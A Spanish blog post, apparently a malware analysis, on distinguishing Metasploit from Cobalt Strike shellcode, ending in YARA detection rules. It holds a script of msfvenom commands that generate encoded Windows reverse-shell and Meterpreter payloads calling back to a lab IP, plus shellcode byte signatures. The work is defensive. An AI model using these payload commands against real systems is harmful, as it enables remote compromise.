Hola a todos.
Voy a ampliar el artículo anterior. A veces nos encontramos con shellcodes parecidas y necesitamos saber exactamente qué estamos analizando, así que para ello realizaré una serie de pruebas y compararemos los resultados para poder ponerles nombre. La idea de este artículo es poder distinguir entre shellcodes de Metasploit y de Cobalt Strike.
Lo primero es generar shellcodes con Metasploit, diferentes todas ellas. El siguiente script nos ayudará a ello:
#!/bin/bash
DOMAIN="192.168.56.101"
PORT=443
echo "windows/meterpreter/reverse_tcp in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw > meterpreter_reverse_tcp.raw
echo "windows/shell/reverse_tcp in $DOMAIN:$PORT"
msfvenom -p windows/shell/reverse_tcp -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw > shell_reverse_tcp.raw
echo "windows/meterpreter/reverse_tcp shikata_ga_nai in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_tcp_shikata_ga_nai_i3.raw
echo "windows/shell/reverse_tcp shikata_ga_nai in $DOMAIN:$PORT"
msfvenom -p windows/shell/reverse_tcp -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > shell_reverse_tcp_shikata_ga_nai_i3.raw
echo "windows/meterpreter/reverse_http in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw > meterpreter_reverse_http.raw
echo "windows/meterpreter/reverse_http shikata_ga_nai in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_http_shikata_ga_nai_i3.raw
echo "windows/meterpreter/reverse_https in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_https -a x86 --platform windows LHOST=$DOMAIN LPORT=$PORT -f raw > meterpreter_reverse_https.raw
echo "windows/meterpreter/reverse_https shikata_ga_nai in $DOMAIN:$PORT"
msfvenom -p windows/meterpreter/reverse_https -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai LHOST=$DOMAIN LPORT=$PORT -f raw -i 3 > meterpreter_reverse_https_shikata_ga_nai_i3.raw
El resultado es el siguiente:
# ls -l *.raw
-rw-r--r-- 1 root root 654 dic 14 11:18 meterpreter_reverse_http.raw
-rw-r--r-- 1 root root 543 dic 14 11:18 meterpreter_reverse_http_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 475 dic 14 11:19 meterpreter_reverse_https.raw
-rw-r--r-- 1 root root 563 dic 14 11:19 meterpreter_reverse_https_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 341 dic 14 11:18 meterpreter_reverse_tcp.raw
-rw-r--r-- 1 root root 422 dic 14 11:18 meterpreter_reverse_tcp_shikata_ga_nai_i3.raw
-rw-r--r-- 1 root root 341 dic 14 11:18 shell_reverse_tcp.raw
-rw-r--r-- 1 root root 422 dic 14 11:18 shell_reverse_tcp_shikata_ga_nai_i3.raw
Ya tenemos las de Metasploit. La de Cobalt, utilizaremos la que ya habíamos visto en el artículo anterior.
Lo primero es echarle un vistazo, una imagen vale más que mil palabras o eso dicen, vamos a comprobarlo.
Primero la de Cobalt Strike y después las de Metasploit, pondré primero las que sean más parecidas.
Y ahora las que han sido generadas con el encoder shikata_ga_nai (visualmente nos vale este encoder como cualquier otro):
Vale, ya tenemos para empezar. Tenemos que la Cobalt Strike se parece a las de Metasploit meterpreter_reverse_http y meterpreter_reverse_https.
Las generadas con encoder, no se ve mucho de forma visual. Así que podríamos decir que la de Cobalt utiliza una técnica parecida a las de Metasploit que van por http/s.
Se ve un user-agent en cada una y se ve referencias a alguna dll de Windows, ahora lo veremos.
Hay algunas diferencias, como podeis ver. Echemos un vistazo a las cadenas.
Si todas estas flechas no os confunden, a mí casi lo hacen, tenemos que podemos ver referencias a Wininet (dll de Windows), un user-agent, una url y una IP.
Sigamos con esos parecidos razonables.
Se parece bastante como es llamada Wininet (LoadLibraryA). Os pongo una captura del anterior artículo:
Por lo que si solamente tomas esta parte en cuenta, podrías decir que se trata de cualquiera de las 2. Aunque como veis entran otros registros en acción, ahí se podría decir que no exactamente iguales.
Sigamos viendo más cosas. La parte de la Url puede ser confusa.
En Cobalt, normalmente, suelen tener este aspecto “/[a-zA-Z]{4}”, mientras que las de Metasploit son bastantes más largas.
Con el user-agent, vemos otra diferencia, aparte de que es posible poner lo que quieras en esa parte.
En el de Cobalt, está después de la url. En los de Metasplot, al revés, antes el user-agent y después l url.
Si nos vamos a la zona de la IP, seguimos viendo más similitudes.
No tanto en el después, sino en el antes. Por lo que podríamos pensar que es posible que haya algo común en la generación de las shellcodes de Metasploit y Cobalt Strike.
Finalmente, os dejo una regla Yara para poder distinguirlas.
import "pe"
rule Shellcode_Metasploit_Reverse_Http_s {
meta:
description = "Yara Rule for Generic Shellcode Metasploit Reverse Http/s"
author = "by Rafa"
reference = "Internal Research"
last_updated = "2019-12-14"
category = "informational"
strings:
$initial = {
FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14
8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7
E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59
20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01
C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B
0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A
51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 6E 65 74 00 68 77 69 6E 69
54 68 4C 77 26 07 FF D5 31 DB 53 53 53 53 53 E8 3E 00 00 00 4D
6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E
54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72
76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 00 68 3A
56 79 A7 FF D5 53 53 6A 03 53 53 68 BB 01 00 00 E8 }
$beforeurl = { 68 3A 56 79 A7 FF D5 53 53 6A 03 53 53 68 BB 01 00 00 E8 }
$beforedomain = {
E8 4B 00 00 00 6A 40 68 00 10 00 00 68 00 00 40 00 53 68 58 A4 53 E5 FF D5 93 53 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 CF 8B 07 01 C3 85 C0 75 E5 58 C3 5F E8 }
condition:
any of them
}
rule Shellcode_Cobalt_Strike {
meta:
description = "Yara Rule for Generic Shellcode Cobalt Strike Beacon"
author = "by Rafa"
reference = "Internal Research"
last_updated = "2019-12-13"
category = "informational"
strings:
$initial = {
FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14
8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D
01 C7 E2 F0 52 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A
01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B 01 D6 31 FF
31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D F8 3B 7D 24 75 E2 58
8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44
24 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D 68 6E 65
74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 }
$beforeurl = { 2F 00 00 39 C7 }
$beforedomain = {
FF D5 6A 40 68 00 10 00 00 68 00 00 40 00 57 68 58 A4 53 E5 FF
D5 93 B9 00 00 00 00 01 D9 51 53 89 E7 57 68 00 20 00 00 53 56
68 12 96 89 E2 FF D5 85 C0 74 C6 8B 07 01 C3 85 C0 75 E5 58 C3 E8 }
condition:
any of them
}
Vemos su funcionamiento:
$ yara metasploit_and_cobaltstrike.yara .
Shellcode_Metasploit_Reverse_Http_s ./meterpreter_reverse_https.raw
Shellcode_Cobalt_Strike ./shellcode_cobalstrike_beacon.raw
Shellcode_Metasploit_Reverse_Http_s ./meterpreter_reverse_http.raw